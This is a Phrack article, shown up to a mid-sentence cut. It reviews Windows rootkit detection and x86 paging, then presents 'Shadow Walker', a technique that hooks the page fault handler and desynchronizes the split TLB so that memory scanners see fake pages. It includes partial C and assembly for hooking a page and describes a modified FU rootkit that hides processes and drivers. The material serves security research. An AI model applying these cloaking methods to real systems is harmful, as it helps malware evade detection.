|
==Phrack Inc.== Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x14 |=-------------------------=[ Shadow Walker ]=---------------------------=| |=--------=[ Raising The Bar For Windows Rootkit Detection ]=------------=| |=-----------------------------------------------------------------------=| |=---------=[ Sherri Sparks <ssparks at mail.cs.ucf dot edu > ]=---------=| |=---------=[ Jamie Butler <james.butler at hbgary dot com > ]=---------=| 0 - Introduction & Background On Rootkit Technology 0.1 - Motivations 1 - Rootkit Detection 1.1 - Detecting The Effect Of A Rootkit (Heuristics) 1.2 - Detecting The Rootkit Itself (Signatures) 2 - Memory Architecture Review 2.1 - Virtual Memory - Paging vs. Segmentation 2.2 - Page Tables & PTE's 2.3 - Virtual to Physical Address Translation 2.4 - The Role of the Page Fault Handler 2.5 - The Paging Performance Problem & the TLB 3 - Memory Cloaking Concept 3.1 - Hiding Executable Code 3.2 - Hiding Pure Data 3.3 - Related Work 3.4 - Proof of Concept Implementation 3.4.a - Modified FU Rootkit 3.4.b - Shadow Walker Memory Hook Engine 4 - Known Limitations & Performance Impact 5 - Detection 6 - Conclusion 7 - References 8 - Acknowlegements --[ 0 - Introduction & Background Rootkits have historically demonstrated a co-evolutionary adaptation and response to the development of defensive technologies designed to apprehend their subversive agenda. If we trace the evolution of rootkit technology, this pattern is evident. First generation rootkits were primitive. They simply replaced / modified key system files on the victim's system. The UNIX login program was a common target and involved an attacker replacing the original binary with a maliciously enhanced version that logged user passwords. Because these early rootkit modifications were limited to system files on disk, they motivated the development of file system integrity checkers such as Tripwire [1]. In response, rootkit developers moved their modifications off disk to the memory images of the loaded programs and, again, evaded detection. These 'second' generation rootkits were primarily based upon hooking techniques that altered the execution path by making memory patches to loaded applications and some operating system components such as the system call table. Although much stealthier, such modifications remained detectable by searching for heuristic abnormalities. For example, it is suspicious for the system service table to contain pointers that do not point to the operating system kernel. This is the technique used by VICE [2]. Third generation kernel rootkit techniques like Direct Kernel Object Manipulation (DKOM), which was implemented in the FU rootkit [3], capitalize on the weaknesses of current detection software by modifying dynamically changing kernel data structures for which it is impossible to establish a static trusted baseline. ----[ 0.1 - Motivations There are public rootkits which illustrate all of these various techniques, but even the most sophisticated Windows kernel rootkits, like FU, possess an inherent flaw. They subvert essentially all of the operating system's subsystems with one exception: memory management. Kernel rootkits can control the execution path of kernel code, alter kernel data, and fake system call return values, but they have not (yet) demonstrated the capability to 'hook' or fake the contents of memory seen by other running applications. In other words, public kernel rootkits are sitting ducks for in memory signature scans. Only now are security companies beginning to think of implementing memory signature scans. Hiding from memory scans is similar to the problem faced by early viruses attempting to hide on the file system. Virus writers reacted to anti-virus programs scanning the file system by developing polymorphic and metamorphic techniques to evade detection. Polymorphism attempts to alter the binary image of a virus by replacing blocks of code with functionally equivalent blocks that appear different (i.e. use different opcodes to perform the same task). Polymorphic code, therefore, alters the superficial appearance of a block of code, but it does not fundamentally alter a scanner's view of that region of system memory. Traditionally, there have been three general approaches to malicious code detection: misuse detection, which relies upon known code signatures, anomaly detection, which relies upon heuristics and statistical deviations from 'normal' behavior, and integrity checking which relies upon comparing current snapshots of the file system or memory with a known, trusted baseline. A polymorphic rootkit (or virus) effectively evades signature based detection of its code body, but falls short in anomaly or integrity detection schemes because it cannot easily camouflage the changes it makes to existing binary code in other system components. Now imagine a rootkit that makes no effort to change its superficial appearance, yet is capable of fundamentally altering a detectors view of an arbitrary region of memory. When the detector attempts to read any region of memory modified by the rootkit, it sees a 'normal', unaltered view of memory. Only the rootkit sees the true, altered view of memory. Such a rootkit is clearly capable of compromising all of the primary detection methodologies to varying degrees. The implications to misuse detection are obvious. A scanner attempts to read the memory for the loaded rootkit driver looking for a code signature and the rootkit simply returns a random, 'fake' view of memory (i.e. which does not include its own code) to the scanner. There are also implications for integrity validation approaches to detection. In these cases, the rootkit returns the unaltered view of memory to all processes other than itself. The integrity checker sees the unaltered code, finds a matching CRC or hash, and (erroneously) assumes that all is well. Finally, any anomaly detection methods which rely upon identifying deviant structural characteristics will be fooled since they will receive a 'normal' view of the code. An example of this might be a scanner like VICE which attempts to heuristically identify inline function hooks by the presence of a direct jump at the beginning of the function body. Current rootkits, with the exception of Hacker Defender [4], have made little or no effort to introduce viral polymorphism techniques. As stated previously, while a valuable technique, polymorphism is not a comprehensive solution to the problem for a rootkit because the rootkit cannot easily camouflage the changes it must make to existing code in order to install its hooks. Our objective, therefore, is to show proof of concept that the current architecture permits subversion of memory management such that a non polymorphic kernel mode rootkit (or virus) is capable of controlling the view of memory regions seen by the operating system and other processes with a minimal performance hit. The end result is that it is possible to hide a 'known' public rootkit driver (for which a code signature exists) from detection. To this end, we have designed an 'enhanced' version of the FU rootkit. In section 1, we discuss the basic techniques used to detect a rootkit. In section 2, we give a background summary of the x86 memory architecture. Section 3 outlines the concept of memory cloaking and proof of concept implementation for our enhanced rootkit. Finally, we conclude with a discussion of its detectability, limitations, future extensibility, and performance impact. Without further ado, we bid you welcome to 4th generation rootkit technology. --[ 1 - Rootkit Detection Until several months ago, rootkit detection was largely ignored by security vendors. Many mistakenly classified rootkits in the same category as other viruses and malware. Because of this, security companies continued to use the same detection methods the most prominent one being signature scans on the file system. This is only partially effective. Once a rootkit is loaded in memory is can delete itself on disk, hide its files, or even divert an attempt to open the rootkit file. In this section, we will examine more recent advances in rootkit detection. ----[ 1.2 - Detecting The Effect Of A Rootkit (Heuristics) One method to detect the presence of a rootkit is to detect how it alters other parameters on the computer system. In this way, the effects of the rootkit are seen although the actual rootkit that caused the deviation may not be known. This solution is a more general approach since no signature for a particular rootkit is necessary. This technique is also looking for the rootkit in memory and not on the file system. One effect of a rootkit is that it usually alters the execution path of a normal program. By inserting itself in the middle of a program's execution, the rootkit can act as a middle man between the kernel functions the program relies upon and the program. With this position of power, the rootkit can alter what the program sees and does. For example, the rootkit could return a handle to a log file that is different from the one the program intended to open, or the rootkit could change the destination of network communication. These rootkit patches or hooks cause extra instructions to be executed. When a patched function is compared to a normal function, the difference in the number of instructions executed can be indicative of a rootkit. This is the technique used by PatchFinder [5]. One of the drawbacks of PatchFinder is that the CPU must be put into single step mode in order to count instructions. So for every instruction executed an interrupt is fired and must be handled. This slows the performance of the system, which may be unacceptable on a production machine. Also, the actual number of instructions executed can vary even on a clean system. Another rootkit detection tool called VICE detects the presence of hooks in applications and in the kernel . VICE analyzes the addresses of the functions exported by the operating system looking for hooks. The exported functions are typically the target of rootkits because by filtering certain APIs rootkits can hide. By finding the hooks themselves, VICE avoids the problems associated with instruction counting. However, VICE also relies upon several APIs so it is possible for a rootkit to defeat its hook detection [6]. Currently the biggest weakness of VICE is that it detects all hooks both malicious and benign. Hooking is a legitimate technique used by many security products. Another approach to detecting the effects of a rootkit is to identify the operating system lying. The operating system exposes a well-known API in order for applications to interact with it. When the rootkit alters the results of a particular API, it is a lie. For example, Windows Explorer may request the number of files in a directory using several functions in the Win32 API. If the rootkit changes the number of files that the application can see, it is a lie. To detect the lie, a rootkit detector needs at least two ways to obtain the same information. Then, both results can be compared. RootkitRevealer [7] uses this technique. It calls the highest level APIs and compares those results with the results of the lowest level APIs. This method can be bypassed by a rootkit if it also hooks at those lowest layers. RootkitRevealer also does not address data alterations. The FU rootkit alters the kernel data structures in order to hide its processes. RootkitRevealer does not detect this because both the higher and lower layer APIs return the same altered data set. Blacklight from F-Secure [8] also tries to detect deviations from the truth. To detect hidden processes, it relies on an undocumented kernel structure. Just as FU walks the linked list of processes to hide, Blacklight walks a linked list of handle tables in the kernel. Every process has a handle table; therefore, by identifying all the handle tables Blacklight can find a pointer to every process on the computer. FU has been updated to also unhook the hidden process from the linked list of handle tables. This arms race will continue. ----[ 1.2 - Detecting the Rootkit Itself (Signatures) Anti-virus companies have shown that scanning file systems for signatures can be effective; however, it can be subverted. If the attacker camouflages the binary by using a packing routine, the signature may no longer match the rootkit. A signature of the rootkit as it will execute in memory is one way to solve this problem. Some host based intrusion prevention systems (HIPS) try to prevent the rootkit from loading. However, it is extremely difficult to block all the ways code can be loaded in the kernel . Recent papers by Jack Barnaby [9] and Chong [10] have highlighted the threat of kernel exploits, which will allow arbitrary code to be loaded into memory and executed. Although file system scans and loading detection are needed, perhaps the last layer of detection is scanning memory itself. This provides an added layer of security if the rootkit has bypassed the previous checks. Memory signatures are more reliable because the rootkit must unpack or unencrypt in order to execute. Not only can scanning memory be used to find a rootkit, it can be used to verify the integrity of the kernel itself since it has a known signature. Scanning kernel memory is also much faster than scanning everything on disk. Arbaugh et. al. [11] have taken this technique to the next level by implementing the scanner on a separate card with its own CPU. The next section will explain the memory architecture on Intel x86. --[ 2 - Memory Architecture Review In early computing history, programmers were constrained by the amount of physical memory contained in a system. If a program was too large to fit into memory, it was the programmer's responsibility to divide the program into pieces that could be loaded and unloaded on demand. These pieces were called overlays. Forcing this type of memory management upon user level programmers increased code complexity and programming errors while reducing efficiency. Virtual memory was invented to relieve programmers of these burdens. ----[ 2.1 - Virtual Memory - Paging vs. Segmentation Virtual memory is based upon the separation of the virtual and physical address spaces. The size of the virtual address space is primarily a function of the width of the address bus whereas the size of the physical address space is dependent upon the quantity of RAM installed in the system. Thus, a system possessing a 32 bit bus is capable of addressing 2^32 (or ~4 GB) physical bytes of contiguous memory. It may, however, not have anywhere near that quantity of RAM installed. If this is the case, then the virtual address space will be larger than the physical address space. Virtual memory divides both the virtual and physical address spaces into fixed size blocks. If these blocks are all the same size, the system is said to use a paging memory model. If the blocks are varying sizes, it is considered to be a segmentation model. The x86 architecture is in fact a hybrid, utlizing both segementation and paging, however, this article focuses primarily upon exploitation of its paging mechanism. Under a paging model, blocks of virtual memory are referred to as pages and blocks of physical memory are referred to as frames. Each virtual page maps to a designated physical frame. This is what enables the virtual address space seen by programs to be larger than the amount of physically addressable memory (i.e. there may be more pages than physical frames). It also means that virtually contiguous pages do not have to be physically contiguous. These points are illustrated by Figure 1. VIRTUAL ADDRESS PHYSICAL ADDRESS SPACE SPACE /-------------\ /-------------\ | | | | | PAGE 01 |---\ /----------->>>| FRAME 01 | | | | | | | --------------- | | --------------- | | | | | | | PAGE 02 |------------------->>>| FRAME 02 | | | | | | | --------------- | | --------------- | | | | | | | PAGE 03 | \---|----------->>>| FRAME 03 | | | | | | --------------- | \-------------/ | | | | PAGE 04 | | | | | |-------------| | | | | | PAGE 05 |-------/ | | \-------------/ [ Figure 1 - Virtual To Physical Memory Mapping (Paging) ] [ ] [ NOTE: 1. Virtual & physical address spaces are divided into ] [ fixed size blocks. 2. The virtual address space may be larger ] [ than the physical address space. 3. Virtually contiguous ] [ blocks to not have to be mapped to physically contiguous ] [ frames. ] ----[ 2.2 - Page Tables & PTE's The mapping information that connects a virtual address with its physical frame is stored in page tables in structures known as PTE's. PTE's also store status information. Status bits may indicate, for example, weather or not a page is valid (physically present in memory versus stored on disk), if it is writable, or if it is a user / supervisor page. Figure 2 shows the format for an x86 PTE. Valid <------------------------------------------------\ Read/Write <--------------------------------------------\ | Privilege <----------------------------------------\ | | Write Through <------------------------------------\ | | | Cache Disabled <--------------------------------\ | | | | Accessed <---------------------------\ | | | | | Dirty <-----------------------\ | | | | | | Reserved <-------------------\ | | | | | | | Global <---------------\ | | | | | | | | Reserved <----------\ | | | | | | | | | Reserved <-----\ | | | | | | | | | | Reserved <-\ | | | | | | | | | | | | | | | | | | | | | | | +----------------+---+----+----+---+---+---+----+---+---+---+---+-+ | | | | | | | | | | | U | R | | | PAGE FRAME # | U | P | Cw | Gl | L | D | A | Cd | Wt| / | / | V | | | | | | | | | | | | S | W | | +-----------------------------------------------------------------+ [ Figure 2 - x86 PTE FORMAT (4 KBYTE PAGE) ] ----[ 2.4 - Virtual To Physical Address Translation Virtual addresses encode the information necessary to find their PTE's in the page table. They are divided into 2 basic parts: the virtual page number and the byte index. The virtual page number provides the index into the page table while the byte index provides an offset into the physical frame. When a memory reference occurs, the PTE for the page is looked up in the page table by adding the page table base address to the virtual page number * PTE entry size. The base address of the page in physical memory is then extracted from the PTE and combined with the byte offset to define the physical memory address that is sent to the memory unit. If the virtual address space is particularly large and the page size relatively small, it stands to reason that it will require a large page table to hold all of the mapping information. And as the page table must remain resident in main memory, a large table can be costly. One solution to this dilemma is to use a multi-level paging scheme. A two-level paging scheme, in effect, pages the page table. It further subdivides the virtual page number into a page directory and a page table index. The page directory is simply a table of pointers to page tables. This two level paging scheme is the one supported by the x86. Figure 3 illustrates how the virtual address is divided up to index the page directory and page tables and Figure 4 illustrates the process of address translation. +---------------------------------------+ | 31 12 | 0 | +----------------+ +----------------+ | +---------------+ | | PAGE DIRECTORY | | PAGE TABLE | | | BYTE INDEX | | | INDEX | | INDEX | | | | | +----------------+ +----------------+ | +---------------+ | 10 bits 10 bits | 12 bits | | | VIRTUAL PAGE NUMBER | +---------------------------------------+ [ Figure 3 - x86 Address & Page Table Indexing Scheme ] +--------+ /-|KPROCESS| | +--------+ | Virtual Address | +------------------------------------------+ | | Page Directory | Page Table | Byte Index | | | Index | Index | | | +-+-------------------+-------------+------+ | | +---+ | | | | |CR3| Physical | | | | +---+ Address Of | | | | Page Dir | | | | | \------ -\ | | | | | | Page Directory | Page Table | Physical Memory \---|->+------------+ | /-->+------------+ \---->+------------+ | | | | | | | | | | | | | | | | | | | | | | | | | |------------| | | | | | | | | | | |------------| | | | | | Page | \->| PDN |---|-/ | | | Frame | |------------| | | | /----> | | | | | | | |------------| | | | | | | | | | | | | | | | | | | | | | | | | | | | |------------| | | | | | \---->| PFN -------/ | | | | |------------| | | +------------+ +------------+ +------------+ (1 per process) (512 per processs) [ Figure 4 - x86 Address Translation ] A memory access under a 2 level paging scheme potentially involves the following sequence of steps. 1. Lookup of page directory entry (PDE). Page Directory Entry = Page Directory Base Address + sizeof(PDE) * Page Directory Index (extracted from virtual address that caused the memory access) NOTE: Windows maps the page directory to virtual address 0xC0300000. Base addresses for page directories are also located in KPROCESS blocks and the register cr3 contains the physical address of the current page directory. 2. Lookup of page table entry. Page Table Entry = Page Table Base Address + sizeof(PTE) * Page Table Index (extracted from virtual address that caused the memory access). NOTE: Windows maps the page directory to virtual address 0xC0000000. The base physical address for the page table is also stored in the page directory entry. 3. Lookup of physical address. Physical Address = Contents of PTE + Byte Index NOTE: PTEs hold the physical address for the physical frame. This is combined with the byte index (offset into the frame) to form the complete physical address. For those who prefer code to explanation, the following two routines show how this translation occurs. The first routine, GetPteAddress performs steps 1 and 2 described above. It returns a pointer to the page table entry for a given virtual address. The second routine returns the base physical address of the frame to which the page is mapped. #define PROCESS_PAGE_DIR_BASE 0xC0300000 #define PROCESS_PAGE_TABLE_BASE 0xC0000000 typedef unsigned long* PPTE; /************************************************************************** * GetPteAddress - Returns a pointer to the page table entry corresponding * to a given memory address. * * Parameters: * PVOID VirtualAddress - Address you wish to acquire a pointer to the * page table entry for. * * Return - Pointer to the page table entry for VirtualAddress or an error * code. * * Error Codes: * ERROR_PTE_NOT_PRESENT - The page table for the given virtual * address is not present in memory. * ERROR_PAGE_NOT_PRESENT - The page containing the data for the * given virtual address is not present in * memory. **************************************************************************/ PPTE GetPteAddress( PVOID VirtualAddress ) { PPTE pPTE = 0; __asm { cli //disable interrupts pushad mov esi, PROCESS_PAGE_DIR_BASE mov edx, VirtualAddress mov eax, edx shr eax, 22 lea eax, [esi + eax*4] //pointer to page directory entry test [eax], 0x80 //is it a large page? jnz Is_Large_Page //it's a large page mov esi, PROCESS_PAGE_TABLE_BASE shr edx, 12 lea eax, [esi + edx*4] //pointer to page table entry (PTE) mov pPTE, eax jmp Done //NOTE: There is not a page table for large pages because //the phys frames are contained in the page directory. Is_Large_Page: mov pPTE, eax Done: popad sti //reenable interrupts }//end asm return pPTE; }//end GetPteAddress /************************************************************************** * GetPhysicalFrameAddress - Gets the base physical address in memory where * the page is mapped. This corresponds to the * bits 12 - 32 in the page table entry. * * Parameters - * PPTE pPte - Pointer to the PTE that you wish to retrieve the * physical address from. * * Return - The physical address of the page. **************************************************************************/ ULONG GetPhysicalFrameAddress( PPTE pPte ) { ULONG Frame = 0; __asm { cli pushad mov eax, pPte mov ecx, [eax] shr ecx, 12 //physical page frame consists of the //upper 20 bits mov Frame, ecx popad sti }//end asm return Frame; }//end GetPhysicalFrameAddress ----[ 2.5 - The Role Of The Page Fault Handler Since many processes only use a small portion of their virtual address space, only the used portions are mapped to physical frames. Also, because physical memory may be smaller than the virtual address space, the OS may move less recently used pages to disk (the pagefile) to satisfy current memory demands. Frame allocation is handled by the operating system. If a process is larger than the available quantity of physical memory, or the operating system runs out of free physical frames, some of the currently allocated frames must be swapped to disk to make room. These swapped out pages are stored in the page file. The information about whether or not a page is resident in main memory is stored in the page table entry. When a memory access occurs, if the page is not present in main memory a page fault is generated. It is the job of the page fault handler to issue the I/O requests to swap out a less recently used page if all of the available physical frames are full and then to bring in the requested page from the pagefile. When virtual memory is enabled, every memory access must be looked up in the page table to determine which physical frame it maps to and whether or not it is present in main memory. This incurs a substantial performance overhead, especially when the architecture is based upon a multi-level page table scheme like the Intel Pentium. The memory access page fault path can be summarized as follows. 1. Lookup in the page directory to determine if the page table for the address is present in main memory. 2. If not, an I/O request is issued to bring in the page table from disk. 3. Lookup in the page table to determine if the requested page is present in main memory. 4. If not, an I/O request is issued to bring in the page from disk. 5. Lookup the requested byte (offset) in the page. Therefore every memory access, in the best case, actually requires 3 memory accesses : 1 to access the page directory, 1 to access the page table, and 1 to get the data at the correct offset. In the worst case, it may require an additional 2 disk I/Os (if the pages are swapped out to disk). Thus, virtual memory incurs a steep performance hit. ----[ 2.6 - The Paging Performance Problem & The TLB The translation lookaside buffer (TLB) was introduced to help mitigate this problem. Basically, the TLB is a hardware cache which holds frequently used virtual to physical mappings. Because the TLB is implemented using extremely fast associative memory, it can be searched for a translation much faster than it would take to look that translation up in the page tables. On a memory access, the TLB is first searched for a valid translation. If the translation is found, it is termed a TLB hit. Otherwise, it is a miss. A TLB hit, therefore, bypasses the slower page table lookup. Modern TLB's have an extremely high hit rate and therefore seldom incur miss penalty of looking up the translation in the page table. --[ 3 - Memory Cloaking Concept One goal of an advanced rootkit is to hide its changes to executable code (i.e. the placement of an inline patch, for example). Obviously, it may also wish to hide its own code from view. Code, like data, sits in memory and we may define the basic forms of memory access as: - EXECUTE - READ - WRITE Technically speaking, we know that each virtual page maps to a physical page frame defined by a certain number of bits in the page table entry. What if we could filter memory accesses such that EXECUTE accesses mapped to a different physical frame than READ / WRITE accesses? From a rootkit's perspective, this would be highly advantageous. Consider the case of an inline hook. The modified code would run normally, but any attempts to read (i.e. detect) changes to the code would be diverted to a 'virgin' physical frame that contained a view of the original, unaltered code. Similarly, a rootkit driver might hide itself by diverting READ accesses within its memory range off to a page containing random garbage or to a page containing a view of code from another 'innocent' driver. This would imply that it is possible to spoof both signature scanners and integrity monitors. Indeed, an architectural feature of the Pentium architecture makes it possible for a rootkit to perform this little trick with a minimal impact on overall system performance. We describe the details in the next section. ----[ 3.1 - Hiding Executable Code Ironically, the general methodology we are about to discuss is an offensive extension of an existing stack overflow protection scheme known as PaX. We briefly discuss the PaX implementation in 3.3 under related work. In order to hide executable code, there are at least 3 underlying issues which must be addressed: 1. We need a way to filter execute and read / write accesses. 2. We need a way to "fake" the read / write memory accesses when we detect them. 3. We need to ensure that performance is not adversly affected. The first issue concerns how to filter execute accesses from read / write accesses. When virtual memory is enabled, memory access restrictions are enforced by setting bits in the page table entry which specify whether a given page is read-only or read-write. Under the IA-32 architecture, however, all pages are executable. As such, there is no official way to filter execute accesses from read / write accesses and thus enforce the execute-only / diverted read-write semantics necessary for this scheme to work. We can, however, trap and filter memory accesses by marking their PTE's non present and hooking the page fault handler. In the page fault handler we have access to the saved instruction pointer and the faulting address. If the instruction pointer equals the faulting address, then it is an execute access. Otherwise, it is a read / write. As the OS uses the present bit in memory management, we also need to differentiate between page faults due to our memory hook and normal page faults. The simplest way is to require that all hooked pages either reside in non paged memory or be explicitly locked down via an API like MmProbeAndLockPages. The next issue concerns how to "fake" the EXECUTE and READ / WRITE accesses when we detect them (and do so with a minimal performance hit). In this case, the Pentium TLB architecture comes to the rescue. The pentium possesses a split TLB with one TLB for instructions and the other for data. As mentioned previously, the TLB caches the virtual to physical page frame mappings when virtual memory is enabled. Normally, the ITLB and DTLB are synchronized and hold the same physical mapping for a given page. Though the TLB is primarily hardware controlled, there are several software mechanisms for manipulating it. - Reloading cr3 causes all TLB entries except global entries to be flushed. This typically occurs on a context switch. - The invlpg causes a specific TLB entry to be flushed. - Executing a data access instruction causes the DTLB to be loaded with the mapping for the data page that was accessed. - Executing a call causes the ITLB to be loaded with the mapping for the page containing the code executed in response to the call. We can filter execute accesses from read / write accesses and fake them by desynchronizing the TLB's such that the ITLB holds a different virtual to physical mapping than the DTLB. This process is performed as follows: First, a new page fault handler is installed to handle the cloaked page accesses. Then the page-to-be-hooked is marked not present and it's TLB entry is flushed via the invlpg instruction. This ensures that all subsequent accesses to the page will be filtered through the installed page fault handler. Within the installed page fault handler, we determine whether a given memory access is due to an execute or read/write by comparing the saved instruction pointer with the faulting address. If they match, the memory access is due to an execute. Otherwise, it is due to a read / write. The type of access determines which mapping is manually loaded into the ITLB or DTLB. Figure 5 provides a conceptual view of this strategy. Lastly, it is important to note that TLB access is much faster than performing a page table lookup. In general, page faults are costly. Therefore, at first glance, it might appear that marking the hidden pages not present would incur a significant performance hit. This is, in fact, not the case. Though we mark the hidden pages not present, for most memory accesses we do not incur the penalty of a page fault because the entries are cached in the TLB. The exceptions are, of course, the initial faults that occur after marking the cloaked page not present and any subsequent faults which result from cache line evictions when a TLB set becomes full. Thus, the primary job of the new page fault handler is to explicitly and selectively load the DTLB or ITLB with the correct mappings for hidden pages. All faults originating on other pages are passed down to the operating system page fault handler. +-------------+ rootkit code | FRAME 1 | Is it a +-----------+ /------------->| | code | | | |-------------| access? | ITLB | | | FRAME 2 | /------>|-----------|-----------/ | | | | VPN=12 | |-------------| | | Frame=1 | | FRAME 3 | | +-----------+ | | | +-------------+ |-------------| MEMORY | PAGE TABLES | | FRAME 4 | ACCESS +-------------+ | | VPN=12 |-------------| | | FRAME 5 | | +-----------+ | | | | | |-------------| | | DTLB | random garbage | FRAME 6 | |------>|------------------------------------->| | Is it a | VPN=12 | |-------------| data | Frame=6 | | FRAME N | access? +-----------+ | | +-------------+ [ Figure 5 - Faking Read / Writes by Desynchronizing the Split TLB ] ----[ 3.2 - Hiding Pure Data Hiding data modifications is significantly less optimal than hiding code modifications, but it can be accomplished provided that one is willing to accept the performance hit. We cause a minimal performance loss when hiding executable code by virtue of the fact that the ITLB can maintain a different mapping than the DTLB. Code can execute very fast with a minimum of page faults because that mapping is always present in the ITLB (except in the rare event the ITLB entry gets evicted from the cache). Unfortunately, in the case of data we can't introduce any such inconsistency. There is only 1 DTLB and consequently that DTLB has to be kept empty if we are to catch and filter specific data accesses. The end result is 1 page fault per data access. This is not be a big problem in terms of hiding a specific driver if the driver is carefully designed and uses a minimum of global data, but the performance hit could be formidable when trying to hide a frequently accessed data page. For data hiding, we have used a protocol based approach between the hidden driver and the memory hook. We use this to show how one might hide global data in a rootkit driver. In order to allow the memory access to go throug the DTLB is loaded in the page fault handler. In order to enforce the correct filtering of data accesses, however, it must be flushed immediately by the requesting driver to ensure that no other code accesses that memory address and receives the data resulting from an incorrect mapping. The protocol for accessing data on a hidden page is as follows: 1. The driver raises the IRQL to DISPATCH_LEVEL (to ensure that no other code gets to run which might see the "hidden" data as opposed to the "fake" data). 2. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction. In the event that some other process has attempted to access our data page and been served with the fake frame (i.e. we don't want to receive the fake mapping which may still reside in the TLB so we clear it to be sure). 3. The driver is allowed to perform the data access. 4. The driver must explicitly flush the TLB entry for the page containing the cloaked variable using the invlpg instruction (i.e. so that the "real" mapping does not remain in the TLB. We don't want any other drivers or processes receiving the hidden mapping so we clear it). 5. The driver lowers the IRQL to the previous level before it was raised. The additional restriction also applies: - No global data can be passed to kernel API functions. When calling an API, global data must be copied into local storage on the stack and passed into the API function (i.e. if the API accesses the cloaked variable it will receive fake data and perform incorrectly). This protocol can be efficiently implemented in the hidden driver by having the driver copy all global data over into local variables at the beginning of the routine and then copy the data back after the function body has completed executing. Because stack data is in a constant state of flux, it is unlikely that a signature could be reliably obtained from global data on the stack. In this way, there is no need to cause a page fault on every global access. In general, only one page fault is required to copy over the data at the beginning of the routine and one fault to copy the data back at the end of the routine. Admittedly, this disregards more complex issues involved with multithreaded access and synchronization. An alternative approach to using a protocol between the driver and PF handler would be to single step the instruction causing the memory access. This would be less cumbersome for the driver and yet allow the PF handler to maintain control of the DTLB (ie. to flush it after the data access so that it remains empty). ----[ 3.3 - Related Work Ironically, the memory cloaking technology discussed in this article is derived from an existing stack overflow protection scheme known as PaX . As such, we demonstrate a potentially offensive application of an originally defensive technology. Though very similar (i.e. taking advantage of the Pentium split TLB architecture), there are subtle differences between PaX and the rootkit application of the technology. Whereas our memory cloaked rootkit enforces execute, diverted read / write semantics, PaX enforces read / write, no execute semantics. This enables PaX to provide software support for a non executable stack under the IA-32 architecture, thereby thwarting a large class of stack based buffer overflow attacks. When a PaX protected system detects an attempted execute in a read / write only range of memory, it terminates the offending process. Hardware support for non executable memory has subsequently been added to the page table entry format for some processors including IA-64 and pentium 4. In contrast to PaX, our rootkit handler allows execution to proceed normally while diverting read / write accesses to the hidden page off to an innocent appearing shadow page. Finally, it should be noted that PaX uses the PTE user / supervisor bit to generate the page faults required to enforce its protection. This limits it to protection of solely user mode pages which is an impractical limitation for a kernel mode rootkit. As such, we use the PTE present / not present bit in our implementation. ----[ 3.4 - Proof Of Concept Implementation Our current implementation uses a modified FU rootkit and a new page fault handler called Shadow Walker. Since FU alters kernel data structures to hide processes and does not utilize any code hooks, we only had to be concerned with hiding the FU driver in memory. The kernel accounts for every process running on the system by storing an object called an EPROCESS block for each process in an internal linked list. FU disconnects the process it wants to hide from this linked list. ------[ 3.4.a - Modified FU Rootkit We modified the current version of the FU rootkit taken from rootkit.com. In order to make it more stealthy, its dependence on a userland initialization program was removed. Now, all setup information in the form of OS dependant offsets are derived with a kernel level function. By removing the userland portion, we eliminated the need to create a symbolic link to the driver and the need to create a functional device, both of which are easily detected. Once FU is installed, its image on the file system can be deleted so all anti-virus scans on the file system will fail to find it. You can also imagine that FU could be installed from a kernel exploit and loaded into memory thereby avoiding any image on disk detection. Also, FU hides all processes whose names are prefixed with _fu_ regardless of the process ID (PID). We create a System thread that continually scans this list of processes looking for this prefix. FU and the memory hook, Shadow Walker, work in collusion; therefore, FU relies on Shadow Walker to remove the driver from the linked list of drivers in memory and from the Windows Object Manager's driver directory. ----[ 3.4.b - Shadow Walker Memory Hook Engine Shadow Walker consists of a memory hook installation module and a new page fault handler. The memory hook module takes the virtual address of the page to be hidden as a parameter. It uses the information contained in the address to perform a few sanity checks. Shadow Walker then installs the new page fault handler by hooking Int 0E (if it has not been previously installed) and inserts the information about the hidden page into a hash table so that it can be looked up quickly on page faults. Lastly, the PTE for the page is marked non present and the TLB entry for the hidden page is flushed. This ensures that all subsequent accesses to the page are filtered by the new page fault handler. /************************************************************************* * HookMemoryPage - Hooks a memory page by marking it not present * and flushing any entries in the TLB. This ensure * that all subsequent memory accesses will generate * page faults and be filtered by the page fault handler. * * Parameters: * PVOID pExecutePage - pointer to the page that will be used on * execute access * * PVOID pReadWritePage - pointer to the page that will be used to load * the DTLB on data access * * * PVOID pfnCallIntoHookedPage - A void function which will be called * from within the page fault handler to * to load the ITLB on execute accesses * * PVOID pDriverStarts (optional) - Sets the start of the valid range * for data accesses originating from * within the hidden page. * * PVOID pDriverEnds (optional) - Sets the end of the valid range for * data accesses originating from within * the hidden page. * Return - None **************************************************************************/ void HookMemoryPage( PVOID pExecutePage, PVOID pReadWritePage, PVOID pfnCallIntoHookedPage, PVOID pDriverStarts, PVOID pDriverEnds ) { HOOKED_LIST_ENTRY HookedPage = {0}; HookedPage.pExecuteView = pExecutePage; HookedPage.pReadWriteView = pReadWritePage; HookedPage.pfnCallIntoHookedPage = pfnCallIntoHookedPage; if( pDriverStarts != NULL) HookedPage.pDriverStarts = (ULONG)pDriverStarts; else HookedPage.pDriverStarts = (ULONG)pExecutePage; if( pDriverEnds != NULL) HookedPage.pDriverEnds = (ULONG)pDriverEnds; else { //set by default if pDriverEnds is not specified if( IsInLargePage( pExecutePage ) ) HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + LARGE_PAGE_SIZE; else HookedPage.pDriverEnds = (ULONG)HookedPage.pDriverStarts + PAGE_SIZE; }//end if __asm cli //disable interrupts if( hooked == false ) { HookInt( &g_OldInt0EHandler, (unsigned long)NewInt0EHandler, 0x0E ); hooked = true; }//end if HookedPage.pExecutePte = GetPteAddress( pExecutePage ); HookedPage.pReadWritePte = GetPteAddress( pReadWritePage ); //Insert the hooked page into the list PushPageIntoHookedList( HookedPage ); //Enable the global page feature EnableGlobalPageFeature( HookedPage.pExecutePte ); //Mark the page non present MarkPageNotPresent( HookedPage.pExecutePte ); //Go ahead and flush the TLBs. We want to guarantee that all //subsequent accesses to this hooked page are filtered //through our new page fault handler. __asm invlpg pExecutePage __asm sti //reenable interrupts }//end HookMemoryPage The functionality of the page fault handler is relatively straight forward despite the seeming complexity of the scheme. Its primary functions are to determine if a given page fault is originating from a hooked page, resolve the access type, and then load the appropriate TLB. As such, the page fault handler has basically two execution paths. If the page is unhooked, it is passed down to the operating system page fault handler. This is determined as quickly and efficiently as possible. Faults originating from user mode addresses or while the processor is running in user mode are immediately passed down. The fate of kernel mode accesses is also quickly decided via a hash table lookup. Alternatively, once the page has been determined to be hooked the access type is checked and directed to the appropriate TLB loading code (Execute accesses will cause a ITLB load while Read / Write accesses cause a DTLB load). The procedure for TLB loading is as 